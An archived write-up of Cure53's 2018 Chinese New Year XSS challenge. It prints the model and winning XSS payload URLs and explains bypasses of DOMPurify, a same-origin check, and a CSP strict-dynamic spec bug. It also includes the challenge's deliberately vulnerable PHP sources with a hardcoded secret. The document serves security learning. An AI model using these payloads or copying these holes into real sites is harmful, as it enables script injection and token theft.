

CNY Challenge 2018

CNY Challenge 2018 - Author not stated, GitHub.

- Published: date not stated
- Original: <<https://github.com/cure53/XSSChallengeWiki/wiki/CNY-Challenge-2018>>
- Preserved from: <https://github.com/cure53/XSSChallengeWiki/wiki/CNY-Challenge-2018> (live) on 2026-10-03
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so it remains readable if the page goes offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

This repository was archived by the owner on Jul 4, 2023. It is now read-only.

Welcome to the Write-Up of the Cure53 CNY Challenge 2018, finally! The challenge was brought to you by Masato Kinugawa, Filedescriptor and Mario Heiderich, and it is known to be one of the hardest XSS challenges ever created, only two of the contestants could eventually solve it.

The Challenge:

This time, the challenge was themed after Chinese New Year involving several animals. Everybody likes animals. Amongst them animals is the dog, who was asked to save 2018 by stealing the golden egg from the greedy rooster.

Needless to say, the golden egg was the token to get access to and then alert it, and the challengers and contestants needed to help the dog to retrieve the egg and exfiltrate it.

As usual with Cure53 XSS challenges, the test-bed was very secure and made use of the latest and greatest security technologies to protect the golden egg from being stolen.

Model Solution:

Below you can find the model solution we created to prove to ourselves that it was truly possible to solve the challenge.

URL:

```
https://henhouse.cure53.berlin/?key=.element.innerHTML&value=
<svg+onload="cookie=%60user=document.body.innerHTML%253Dx.innerHTML%2Bdocument.scripts[0]
.nononce%2By.innerHTML%2F\x2F;domain=cure53.berlin`;name=`fetch('\x2Ftoken.php').then(x=>x
.text()).then(token2=>location=pathway.firstChild.textContent.trim()%2Btoken%2B%\x60%26x
ss=<xmp+id=x><iframe+srcdoc=\x27<script+nonce=<\x2F\xmp>
<xmp+id=y>>alert(document.scripts[0].nonce)<\x2Fscript>\x27><\x2F\xmp>
<script+id=welcomeMsg><\x2Fscript>
<p+id=Wo%2526%2523119%3B+x=\x27%\x60)%60;url=new%20webkitURL(secure.href);token1=url.sear
chParams.get(%27token%27);url.pathname=%27\x2Findex.php\x2F.css%27;url.search=%27file[__p
roto__][]=\x2Fi%26file[headers][range]=bytes=1082-
1091%26file[eval(name)]%26file[dataType]=script%26file[cache]=0%26token=%27%2Btoken1;loca
tion=url">
```

HTML:

```
<svg+onload="cookie=%60user=document.body.innerHTML%253Dx.innerHTML%2Bdocument.scripts[0]
.nononce%2By.innerHTML%2F\x2F;domain=cure53.berlin`;
name=`fetch('\x2Ftoken.php').then(x=>x.text()).then(token2=>location=pathway.firstChild.t
extContent.trim()%2Btoken%2B%\x60%26xss=<xmp+id=x><iframe+srcdoc=\x27<script+nonce=
<\x2F\xmp><xmp+id=y>>
alert(document.scripts[0].nonce)<\x2Fscript>\x27><\x2F\xmp><script+id=welcomeMsg>
<\x2Fscript>
<p+id=Wo%2526%2523119%3B+x=\x27%\x60)%60;url=new%20webkitURL(secure.href);token1=url.sear
chParams.get(%27token%27);
url.pathname=%27\x2Findex.php\x2F.css%27;url.search=%27file[__proto__]
[]=\x2Fi%26file[headers][range]=bytes=1082-
1091%26file[eval(name)]%26file[dataType]=script%26file[cache]=0%26token=%27%2Btoken1;loca
tion=url">
```

As you can see, the trick to solve the challenge was to bypass three different security obstacles:

In the [first level](#), we placed some obfuscated JavaScript code. Deobfuscation reveals that it defines a proxy object, creates an inert clone of an element, assigns everything there and then sanitizes the entire element using DOMPurify. The result is then passed back to the original DOM. So for example, doing something like `secure.innerHTML = '<img src=x onerror=alert(1)>'` will not work because it's sanitized by DOMPurify.

Then how about using a getter?

Well, the proxy forbids property to prevent DOM traversal, so you cannot use something like `secure.firstChild.innerHTML = '<img src=x onerror=alert(1)>'`. It however allows to access the property `.element`, meaning we can just bypass the proxy with `secure.element.innerHTML = '<img src=x onerror=alert(1)>'`.

Now, another problem is the page doesn't seem to accept any inputs. Maybe our hidden hint helped a bit though?

```
// no attacks here, the hen-house is well-guarded! ref.  
Exjj0rbjcmg76xbjcmp20uv5f4g62vk441v62v3ncmg62wk541tp2tk544
```

Decoding it with Base32 shows that the inputs are `key` and `value`. Duh.

The injection of the `key` is prefixed by the word `secure` and the input of `value` cannot break out of the string delimiter, so there's no possible trickery to directly inject arbitrary JavaScript code. Anyway, since we know how to bypass the proxy protection, it's easy peasy to inject what we have so far.

The second level (<https://roosterbooster.cure53.berlin>) is yet another seemingly impossible challenge.

First of all, there is a RegExp which checks if the path to be loaded with jQuery's `ajax()` function is on the same origin. And even if we could bypass that, we still wouldn't achieve much, simply because the CSP settings on the page prevents requesting resources from other places:

```
default-src 'self' 'unsafe-eval' 'unsafe-inline'.
```

To bypass the check, we can observe that using `file[]` instead of `file` as the parameter name makes the output an array, and if we use something like `file[key]`, the output will be a JSON object. Wow.

With this discovery, it is possible to bypass the check by making the output a JSON object with an array string as its prototype. Because the check calls `RegExp.prototype.test`, which then coerces the input to a string, we can use something like `({__proto__: ['foobar']})+''` and the array's `toString` will be called instead, which then returns our defined string.

The next step is to figure out that jQuery's `ajax()` function's `dataType` parameter accepts `script` which indicates the fetched content to be execute as JavaScript, which in other words means XSS if we can influence the fetched content's type.

Still, the CSP makes it impossible to fetch a foreign page and the *roosterbooster* subdomain does not have any other pages that reflect user input. But how about using the challenge page *itself*?

We could use the `Range` header via the `headers` attribute and make the server return only the desired output and strips out HTML junks that makes the "script" a syntax error. But unfortunately, the server despises the presence of any `Range` related headers in the request. Are we out of ideas now?

No. In Chrome, if a page is cached and a request with the `Range` header is issued, the request will not go to the server but instead Chrome will simulate the response (!).

This essentially circumvents that problem of the server not supporting the `Range` header. The only missing piece is now to make the page "cacheable" which it isn't by default.

The CDN our challenge is using, CloudFlare, by default caches any resource of certain [content extensions](#). That means, the URL `/index.php/foo.css` will be cacheable and we can use it as a script! Bam!

The [third level](#) is yet another CSP related challenge.

There is a simple reflected XSS but due to strict CSP, executing arbitrary JavaScript is not trivial:

```
Content-Security-Policy: default-src 'none'; script-src 'nonce-GOLDEN_EGG_06e633d8735b29100768e7153881d704' 'strict-dynamic'; style-src 'nonce-GOLDEN_EGG_06e633d8735b29100768e7153881d704'; font-src fonts.gstatic.com;
```

The page merges the template string and a Cookie string named "user" and writes them both to the element of ID `welcomeMsg` via `innerHTML`:

```
document.addEventListener("DOMContentLoaded", function(event) {  
    var template = document.getElementById('template').textContent;  
    var username = getCookie('user') || 'guest';  
    username = escapeHTML(username);  
    template = template.replace('{{user}}', username);  
    welcomeMsg.innerHTML = template;  
});
```

And the template string looks like this:

```
<script id="template" type="text/template">  
Wow, {{user}}!  
</script>
```

We can add arbitrary cookie data by executing

`document.cookie="user=payload;domain=cure53.berlin"` via the stage 1 or stage 2 XSS.

Fortunately, the injection point is just in front of an existing element of ID `welcomeMsg`. We can "disable" the element by putting an unclosed attribute like `<p x="` and make it dangled.

Then, we inject our own `<script id="welcomeMsg"></script>` so that the template string is written into this instead. Now, we try to execute the template string as JavaScript code through the empty script element. The template string has the string "Wow," string at its beginning, just to annoy you. We can avoid resulting reference errors by adding an element having an id like this: `<p id=Wow></p>`

After that, the injected Cookie string is executed as JavaScript code.

In other words, we can execute arbitrary JavaScript and finally get hands on the nonce string. Why could we bypass `strict-dynamic`? The CSP spec (<https://www.w3.org/TR/CSP3/#strict-dynamic-usage>) says the following:

Script requests which are triggered by non-"parser-inserted" script elements are allowed.

If the script source text is an empty string like `<script id="welcomeMsg"></script>`, it's marked as non-"parser-inserted". This behavior is based on the following [HTML specification peculiarity](#):

- If the element has its "parser-inserted" flag set, then set was-parser-inserted to true and unset the element's "parser-inserted" flag. Otherwise, set was-parser-inserted to false.

- If the element has no src attribute, and source text is the empty string, then return. The script is not executed.

The "parser-inserted" flag is removed by the condition "2" and the non-"parser-inserted" state is held by the condition "5".

In both Chrome and Firefox, we can bypass `strict-dynamic` using this trick. According to Google's fine Sir Koto, this trick seems to be a spec bug in CSP `strict-dynamic`. It seems that originally, script is *not* intended to be loaded. So, in the future, the browser behaviors and spec might be fixed.

The bug has been filed here: <https://bugs.chromium.org/p/chromium/issues/detail?id=816794>

So, that is all you need to do to solve the challenge. WASN'T THAT HARD WASN'T IT? :D

Winners:

Now, let us present to you the winners of the challenge. If *they* are unable to find and exploit a complex client-side bug, then probably no one can! Well, perhaps some others still can. But they are not too many :)

- **@SecurityMB** with breathtaking 442 bytes in total (the first one to solve)
- **@BenHayak** with an elegant 429 bytes in total (the shortest solution)

Relevant/Winning Vectors:

The shortest submission by @BenHayak, 429 bytes (426 after the challenge ended already)

URL:

```
http://henhouse.cure53.berlin/?key=.element.innerHTML&value=<svg
onload="cookie='user=x.text%253dname%253bvar+Wow\57\57;domain=cure53.berlin';location=secure.href.replace(`?`,`index\57.js?${URL.split`@`.join`script+id=`}`)">&file[__proto__]
[]=/a&file[headers][Range]=bytes=1107-1267&file[mimeType]=java@$$$.get(name='/token/-
alert(document.all[4].nonce)',r=>location=`${pathway.innerText}${r}%26xss=<@x></@>
<@welcomeMsg></@` `)
```

HTML Trigger:

```
<svg
onload="cookie='user=x.text%253dname%253bvar+Wow\57\57;domain=cure53.berlin';lo
cation=secure.href.replace( ? , index\57.js?
${URL.split @ .join script+id= } )" >&file[proto][]=/a&file[headers][Range]=bytes=1107-
1267&file[mimeType]=java@$$$.get(name='/token/-
alert(document.all[4].nonce)',r=>location= ${pathway.innerText}${r}%26xss=<@x></@>
<@welcomeMsg></@` `)
```

The second place taken by @SecurityMB (who solved the challenge first), 442 bytes

URL:

```
https://henhouse.cure53.berlin?key=.element.innerHTML&value=
<svg+onload=eval(URL.slice(98))>#name='alert(document.all[4].nonce)';cookie=`user=x.text%
3dname%3bvar
Wow//;domain=cure53.berlin`;location=secure.href.replace('?', 'index/.js?')+&file[dataTyp
e]=script&file[cache]=$$.get(`/token`,x=>location=`${pathway.innerText}${x}%26xss=${c=`>
</script><script+id=`}welcomeMsg${c}x${c}`)&file[__proto__][]=/x&file[headers]
[range]=bytes=1052-1161'
```

HTML Trigger:

```
<svg+onload=eval(URL.slice(98))>#name='alert(document.all[4].nonce)';cookie=`user=x.text%
3dname%3bvar
Wow//;domain=cure53.berlin`;location=secure.href.replace('?', 'index/.js?')+&file[dataTyp
e]=script&file[cache]=$$.get(`/token`,x=>location=`${pathway.innerText}${x}%26xss=${c=`>
</script><script+id=`}welcomeMsg${c}x${c}`)&file[__proto__][]=/x&file[headers]
[range]=bytes=1052-1161'
```

Challenge Sources:

Below are the relevant parts of the sources we used for the challenge, sorted by domain.

henhouse.cure53.berlin

index.php

```

<?php
// set security headers
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block;');
header('X-Content-Type-Options: nosniff');
header('Strict-Transport-Security: max-age=31536000; includeSubDomains');
header('Content-Type: text/html; charset=utf-8');
header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");

// set HTTPOnly and secure cookies
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure', 1);
ini_set('session.use_only_cookies',1);

session_start();
session_regenerate_id();
?>
<?php
// token generation
$level = '0';
$secret = 'CURE53_HAS_AN_OWNER_WITH_GREAT_HAIR_ALSO_FD_IS_FIRED';
$token = hash_hmac('sha256', $level . $_SERVER["HTTP_CF_CONNECTING_IP"], $secret);
?>
<?php
$key = 'key';
$value = 'value';
if($_GET['key'] && preg_match('/^[.\w]+$/', $_GET['key'])){
    $key = $_GET['key'];
}
if($_GET['value']){
    $value = str_replace(array('\'', '/'), array('', '&lasers;'), $_GET['value']);
}
?>
<!doctype html>
<title>Cure53 Chinese New Year XSS Challenge 2018</title>
<script src="/purify.js"></script>
<link rel="stylesheet" href="style.css">
<meta charset="utf-8">
<h1>■■■■■ The Cure53 Chinese New Year XSS Challenge 2018 is here! ■ ■</h1>
<h2>Welcome to another <i>super-tough</i> XSS challenge. And welcome to the rooster's
very secure henhouse!</h2>
<h3 title="RANGE, bruv, get it?">It is so secure, it can detect attacks of a very very
wide range</h3>
<p>

```

As y'all know of course, the Chinese **New** Year is technically about to happen and the era of the rooster needs to make room **for** the year of the doge.

</p>

<p>

The rooster however is not yet ready to give up on the old year and decided to barricade himself inside the henhouse. He bought some fancy shmancy defense technology **from** the Israelis and

will make absolutely certain that the doge cannot **break** and enter. The old year is over you think? Hell no, it's never gonna be over. Mister Rooster has Coop Security Protocol deployed. Holy sith!

</p>

<p>

The rooster will hold his CSP-**protected** fortress unless you can help the doge kick him out. Either you win, or the old year will **go** on FOREVER!

</p>

<p>

You can help the dog by finding the rooster's golden egg and <strong title="you can use the good old alert()">stealing it

</p>

<div id="pathway">

<a href="https://roosterbooster.cure53.berlin/?file=/token.php&token=<?php echo \$token; ?>" id="secure"> Behold, and enter the secure henhouse!

<script>

var _0x9d38=

```
[ 'outerHTML\x20cannot\x20be\x20used', 'implementation', 'createHTMLDocument', 'cloneNode', 'body', 'firstElementChild', 'querySelector', '#secure', 'element', 'unsafe\x20property\x20access', 'error' ]; (function(_0x452360, _0x284257){var _0x2c068a=function(_0x2aca95){while(--_0x2aca95){_0x452360['push'](_0x452360['shift']());}};_0x2c068a(++_0x284257);}(_0x9d38,0x1a8));var _0x242e=function(_0x4ae093,_0x18af4a){_0x4ae093=_0x4ae093-0x0;var _0x27f43b=_0x9d38[_0x4ae093];return _0x27f43b;};let secure=document[_0x242e('0x0')]( _0x242e('0x1')) ;secure=new Proxy(secure,{'get':_0x5c8de4,_0x246959,_0x5a48cf,_0x2e55ad){if( _0x246959===_0x242e('0x2')){return _0x5c8de4;}if(typeof _0x5c8de4[_0x246959]!=='string'){return console.log(_0x242e('0x3'),_0x5c8de4,_0x246959);}return _0x5c8de4[_0x246959];},'set':_0x594e24,_0x27a756,_0x4475cd,_0x5cdc0a){if(typeof _0x594e24[_0x27a756]!=='string'){return console[_0x242e('0x4')]( _0x242e('0x3'),_0x594e24,_0x27a756);}if(_0x27a756==='outerHTML'){return console[_0x242e('0x4')]( _0x242e('0x5'),_0x594e24,_0x27a756);}let _0x51fee5=document[_0x242e('0x6')][_0x242e('0x7')](' ');let _0x3f08b0=_0x594e24[_0x242e('0x8')]('!![]');let _0x18247e=_0x51fee5[_0x242e('0x9')]('appendChild')(_0x3f08b0);_0x18247e[_0x27a756]=_0x4475cd;let _0x928d7b=DOMPurify['sanitize']( _0x18247e,{'RETURN_DOM_FRAGMENT':!![]});_0x594e24[_0x27a756]=_0x928d7b[_0x242e('0xa')][_0x27a756];}});
```

```
// no attacks here, henhouse is guarded! ref.
exjj0rbjcmg76xbjcmp20uv5f4g62vk441v62v3ncmg62wk541tp2tk544
secure<?php echo $key; ?>='<?php echo $value; ?>';
</script>
</div>
<h2>But, what are the rules? How can we help doge?</h2>
<ol>
  <li><b>You have to help the doge to get the rooster to let go of the old year</b></li>
</li>
  <li><b>To do so, you have to find the <u>golden egg</u> and steal it!</b></li>
  <li>The utilization of user interaction is <i>not</i> allowed. Not at all. No click,
no mouse-over, no focus, no nothing.</li>
  <li>The utilization of external resources is <i>not</i> allowed. Not at all. No
images, scripts, fonts, no nothing.</li>
  <li>The solution must work in an up-to-date browser like Chrome 64+, Firefox 58+,
Safari 11+ and Edge 41+. No IE11, no browser older than the current stable release.</li>
  <li>The <i>first</i> valid submission will earn you <b>a 500 EUR cash prize!</b> Be
quick!</li>
  <li title="Just like last year">The shortest valid submission (at the exact moment
the challenge ends) will earn you <b title="this might even double over time, let's
see">a 1000 EUR prize!</b> Be smart!</li>
  <li>The challenge ends on <b>21st of March 2018, 12:00am Berlin Time, CET (that's
high noon on Persian New Year)</b></li>
  <li>And lastly, as usual, we make the rules, we decide, we reserve the right to fail
and re-decide if it helps the challenge. Yes means yes and no means no. There will be no
discussions.</li>
</ol>
<h2>Now, what am I supposed to do to avoid being shred by the rooster?</h2>
<ol>
  <li>Steal the golden egg and exfiltrate it. This allows the doge to finally kick the
rooster out. Watch out for maybe even more hidden tasks.</li>
  <li>This page is the starting point. It has vulnerbale parameters you can find. The
solution looks like this <em>https://henhouse.cure53.berlin/?..something-someting..</em>
  <li><strong>In short, you can see the golden egg by just following two links, start
above. But can you <em title="a.k.a. alert it">steal</em> it from <em>here</em>, the
henhouse?</strong></li>
  <li>Watch out for hints here and there, think outside the box. There is several
levels and things to steal before you get to the golden egg.</li>
  <li>You cannot solve this challenge by brute-force. Stop your scanner, save a tree.
We might disqualify you if we feel like it.</li>
</ol>
<h2>How do I <u>test</u> my vector?</h2>
<p>It's easy, you simply submit it here: <a href="https://submit.cure53.berlin">Chinese
```

New Year 2018 Solution Submitter</p>
 <h2>How do you count the length?</h2>

 We count what you submit (via email) by using the test tool linked above. In raw bytes. The full URL. Just send us the solution via email and we will test it using the "Chinese New Year 2018 Solution Submitter" as well.

 <h2>Why would I do all that?</h2>

 <li title="To allow doge to save us all!? Did you not read all of the above? Jesus!">Because it's fun!
 You'll learn crazy, maybe new and even useful things!
 You might win one of two cash prizes :) Or both at the same time! Or maybe even more?

 <p>
 Now go forth and crack the Challenge and save Chinese New Year :D And let us,
 @filedescriptor,
 @kinugawamasato or
 @0x6D6172696F know how you like it or
 if something is broken!
 <!--aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/djlvVUU5ajhURDZrVQ==-->
 </p>
 <p>
 Solved it? Mail us! You'll find out how :)
 </p>
 <h2>Winners so far</h2>

 @BenHayak, being the <b style="color:gold">second to solve, using 429 bytes
 @SecurityMB, being the <b style="color:grey">first to solve, using 442 bytes

roosterbooster.cure53.berlin

index.php

```

<?php
// set security headers
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block;');
header('X-Content-Type-Options: nosniff');
header('Strict-Transport-Security: max-age=31536000; includeSubDomains');
header('Content-Type: text/html; charset=utf-8');
?>
<?php
// token generation
$level = '0';
$secret = 'CURE53_HAS_AN_OWNER_WITH_GREAT_HAIR_ALSO_FD_IS_FIRED';
$token = hash_hmac('sha256', $level . $_SERVER["HTTP_CF_CONNECTING_IP"], $secret);

if (!isset($_GET['token']) || $_GET['token'] !== $token)
    die();
?>
<?php
header("Content-Security-Policy: default-src 'self' 'unsafe-eval' 'unsafe-inline'; style-
src 'self' fonts.googleapis.com 'unsafe-inline'; font-src fonts.gstatic.com;");
header("Content-Encoding: none");

$headers = getallheaders();
foreach ($headers as $key => $value) {
    if (strpos(strtolower($key), 'range') !== false)
        die('');
}

$file = isset($_GET['file']) ? str_replace('</', '<\/', json_encode($_GET['file'])) : '';

?>
<!doctype html>
<title>A-bwaaaaak-alyipse Now!</title>
<link rel="stylesheet" href="style.css">
<meta charset="utf-8">
<style>marquee, h1{display:inline;text-align:center}</style>
<marquee direction="down" behavior="alternate"> <marquee behavior="alternate"><h1>██<br>
██ █ ███<br>██ ███</h1>
</marquee><marquee direction="down"><marquee direction="up" behavior="alternate">
<h1>██ █ ███</h1> </marquee></marquee><marquee><h1>██<br>██ █<br>██ █<br>██ █ █</h1>
</marquee>
<marquee direction="up"><h1>██ ████ ████</h1></marquee>
<marquee direction="up"><h1>██ █ ███</h1></marquee>
</marquee>

```

```

<p>
    So this is the henhouse. Super secure. Maybe we can steal something from here?
</p>
<p>
    And where is the golden egg?
</p>
<script src="/jquery.js"></script>
<script>
var file = <?php echo $file; ?>;
if (/^\[/[w.]+\$/ .test(file))
    $.ajax(file).then(r => $(token).text(r));
</script>
<div id="pathway">
https://goldenegg.cure53.berlin/?token=<pre style="display:inline" id="token"></pre>
</div>

```

token.php

```

<?php
// set security headers
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block;');
header('X-Content-Type-Options: nosniff');
header('Strict-Transport-Security: max-age=31536000; includeSubDomains');
header('Content-Type: text/html; charset=utf-8');
header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
?>
<?php
// token generation
$level = '1';
$secret = 'CURE53_HAS_AN_OWNER_WITH_GREAT_HAIR_ALSO_FD_IS_FIRED';
$token = hash_hmac('sha256', $level . $_SERVER["HTTP_CF_CONNECTING_IP"], $secret);

echo $token;
?>

```

goldenegg.cure53.berlin

index.php

```

<?php
$nonce = "GOLDEN_EGG_".bin2hex(openssl_random_pseudo_bytes(16));
header('X-XSS-Protection: 1; mode=block');
header('X-Frame-Options: deny');
header('X-Content-Type-Options: nosniff');
header('Strict-Transport-Security: max-age=31536000; includeSubDomains');
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-{$nonce}' 'strict-
dynamic'; style-src 'nonce-{$nonce}'; font-src fonts.gstatic.com;");
header('Content-Type: text/html; charset=utf-8');
header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
?>
<?php
// token generation
$level = '1';
$secret = 'CURE53_HAS_AN_OWNER_WITH_GREAT_HAIR_ALSO_FD_IS_FIRED';
$token = hash_hmac('sha256', $level . $_SERVER["HTTP_CF_CONNECTING_IP"], $secret);
if (!isset($_GET['token']) || $_GET['token'] !== $token)
    die();
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>🔒 So close! 🔒</title>
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Acme" nonce="<?php
echo $nonce; ?>">
<script nonce="<?php echo $nonce; ?>">
document.addEventListener("DOMContentLoaded", function(event) {
    var template = document.getElementById('template').textContent;
    var username = getCookie('user') || 'guest';
    username = escapeHTML(username);
    template = template.replace('{{user}}', username);
    welcomeMsg.innerHTML = template;
});

function getCookie(name) {
    var cookies = document.cookie.split('; ');
    for (var i = 0; i < cookies.length; i++) {
        var cookie = cookies[i].split('=');
        if (cookie.length === 2) {
            var cookieName = cookie[0];
            if (cookieName === name) {
                return decodeURIComponent(cookie[1]);
            }
        }
    }
}

```

```

    }
  }
  return;
}

function escapeHTML(str) {
  return str.replace(/[<>()&'"/g, function(a) {
    return `&${a.codePointAt(0)};`;
  });
}
</script>
<style nonce="<?php echo $nonce; ?>">
* {
  margin-right: auto;
  margin-left: auto;
  font-family: Acme, sans-serif;
  background: #EEE;
}

#egg {
  display: block;
  width: 126px;
  height: 180px;
  background: gold;
  -webkit-border-radius: 63px 63px 63px 63px / 108px 108px 72px 72px;
  border-radius: 50% 50% 50% 50% / 60% 60% 40% 40%;
  margin-top: 250px;
  margin-bottom: 50px;
  box-shadow: 0 0 20px gray;
}

p {
  text-align: center;
  font-size: 20px;
  margin-top: 10px;
  margin-bottom: 10px;
}

p:before {
  content: "□";
}

p:after {
  content: "□";
}

```

```
}
</style>
<script id="template" type="text/template">
Wow, {{user}}!
</script>
</head>
<body>
  <div id="egg"></div>
  <?php echo $_GET['xss']; ?>
  <p>Omg omg! You found the golden egg!</p>
  <p>But behold, this sanctuary is protected by a strict CSP (Cock-a-doodle-doo Secure
Protector, no wait, <strong>C</strong>oop <strong>S</strong>ecurity
<strong>P</strong>rotocol)</p>
  <p>So, you won't be able to steal the sacred nonce! Not by using something trivial such
as <a href="?xss=<script>alert(document.getElementsByTagName('script')
[0].getAttribute('nonce'))</script>&token=<?php echo $token; ?>">this</a>! That would be
too easy-</p>
  <p>Or <strong>is</strong> there maybe a way? ☐</p>
  <p>If you find it, you will win and Chinese New Year 2018 is saved!</p>
</body>
</html>
```

Final Words:

Thanks everyone again for joining the challenge and spending time with our seemingly unsolvable tasks. We hope everyone enjoyed it and learned a bit or two. We have already done our homework and paid the winners.

And hopefully, hopefully we will have enough time to provide another challenge next year. Let's see :)

Archived from <https://github.com/cure53/XSSChallengeWiki/wiki/CNY-Challenge-2018>. Rendered offline from the local Markdown copy.